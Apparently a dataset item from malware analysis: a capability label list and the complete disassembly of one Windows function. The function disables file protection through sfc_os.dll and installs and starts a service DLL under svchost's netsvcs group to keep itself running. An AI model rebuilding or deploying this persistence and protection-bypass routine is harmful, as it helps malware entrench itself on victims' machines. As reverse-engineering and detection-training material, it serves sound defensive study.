Function at 0x401563
Capabilities:
Bypass windows file protection
Create service
Persist via windows service
Query or enumerate registry value
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc90
and dword [ebp - 0x20], 0
and dword [ebp - 0x958], 0
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 0x844], 0
and dword [ebp - 0x28], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x840], 0
and dword [ebp - 0x954], 0
and dword [ebp - 4], 0
and dword [ebp - 0x42c], 0
mov eax, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov dword [ebp - 0x24], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x14], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x10], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x18], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x434], eax
mov eax, dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 0x430], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4015fd
mov eax, dword [ebp - 0x20]
jmp 0x4019f7
push dword [0x415938]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x954], eax
push 0
lea eax, [ebp - 0x844]
push eax
lea eax, [ebp - 0x958]
push eax
push 0
call fcn.004010d4
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x840], eax
cmp dword [ebp - 0x840], 0
je 0x40164f
cmp dword [0x415b5c], 5
jbe 0x401659
jmp 0x401807
push 5
push dword [ebp - 0x840]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
and dword [ebp - 0x83c], 0
and dword [ebp - 0x95c], 0
jmp 0x401687
mov eax, dword [ebp - 0x95c]
inc eax
mov dword [ebp - 0x95c], eax
push dword [ebp - 0x95c]
push 0
push 0x40
lea eax, [ebp - 0x9a0]
push eax
call fcn.00402c4b
cmp eax, 0xffffffff
jne 0x4016c3
cmp dword [ebp - 0x83c], 0
jne 0x4016be
mov dword [ebp - 0x83c], 1
or dword [ebp - 0x95c], 0xffffffff
jmp 0x40167a
jmp 0x401807
push dword [ebp - 0x95c]
push 1
push 0x40
lea eax, [ebp - 0x9e0]
push eax
call fcn.00402c4b
push 0x40
lea eax, [ebp - 0xb88]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x9a0]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0xf01ff
lea eax, [ebp - 0xb88]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
jne 0x40171e
jmp 0x40167a
push 0x1c
push 0
lea eax, [ebp - 0x9fc]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9fc]
push eax
push dword [ebp - 0x42c]
call dword [ebp - 0x24]
cmp dword [ebp - 0x9f8], 1
je 0x40177a
cmp dword [ebp - 0x83c], 0
jne 0x40175d
jmp 0x4017f6
lea eax, [ebp - 0x9fc]
push eax
push 1
push dword [ebp - 0x42c]
call dword [ebp - 0x430]
test eax, eax
jne 0x40177a
jmp 0x4017f6
lea eax, [ebp - 0x9e0]
push eax
push 0x415a50
push str._s_s.dll
lea eax, [ebp - 0xb08]
push eax
call dword [ebp - 0x14]
add esp, 0x10
push dword [ebp - 8]
push dword [ebp - 0x844]
push dword [ebp - 0x958]
lea eax, [ebp - 0xb08]
push eax
call fcn.004012ef
test eax, eax
jne 0x4017bb
jmp 0x4017f6
push 0
push 0
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp eax, 1
jne 0x4017f6
push 0xfa0
push dword [ebp - 0x954]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4017f6
mov dword [ebp - 0x20], 1
jmp 0x4019a2
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x40167a
push str.Svchost
push dword [0x413ce4]
push 0x4103c4
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov dword [ebp - 0x1c], 0x400
push 0x400
push 0
lea eax, [ebp - 0x838]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x838]
push eax
lea eax, [ebp - 0x28]
push eax
push str.netsvcs
lea eax, [ebp - 0x428]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
push 0x104
push 0
lea eax, [ebp - 0x950]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.netsvcs
push str.Svchost
push str._SystemRoot_
push str._sSystem32_s.exe__k__s
lea eax, [ebp - 0x950]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x838]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movsx eax, byte [eax]
test eax, eax
je 0x4019a2
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x950]
push eax
push 1
push 2
push 0x20
push 0x10
push dword [ebp - 0xc]
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
je 0x401981
push dword [ebp - 0xc]
push 0x415a50
push str._s_s.dll
lea eax, [ebp - 0xc90]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0xc90]
push eax
push str.ServiceDll
push str.Parameters
push dword [ebp - 0xc]
call fcn.0040148e
push dword [ebp - 8]
push dword [ebp - 0x844]
push dword [ebp - 0x958]
lea eax, [ebp - 0xc90]
push eax
call fcn.004012ef
test eax, eax
jne 0x40194f
jmp 0x401981
push 0
push 0
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp eax, 1
jne 0x401981
push 0xfa0
push dword [ebp - 0x954]
call dword [ebp - 0x10]
test eax, eax
jne 0x401981
mov dword [ebp - 0x20], 1
jmp 0x4019a2
push dword [ebp - 0x42c]
call dword [ebp - 0x18]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0xc]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0xc], eax
jmp 0x4018ad
push dword [ebp - 0x954]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x958], 0
je 0x4019df
push 0x8000
push 0
push dword [ebp - 0x958]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp - 0x840], 0
je 0x4019f4
push dword [ebp - 0x840]
call dword [ebp - 0x434]
mov eax, dword [ebp - 0x20]
leave
ret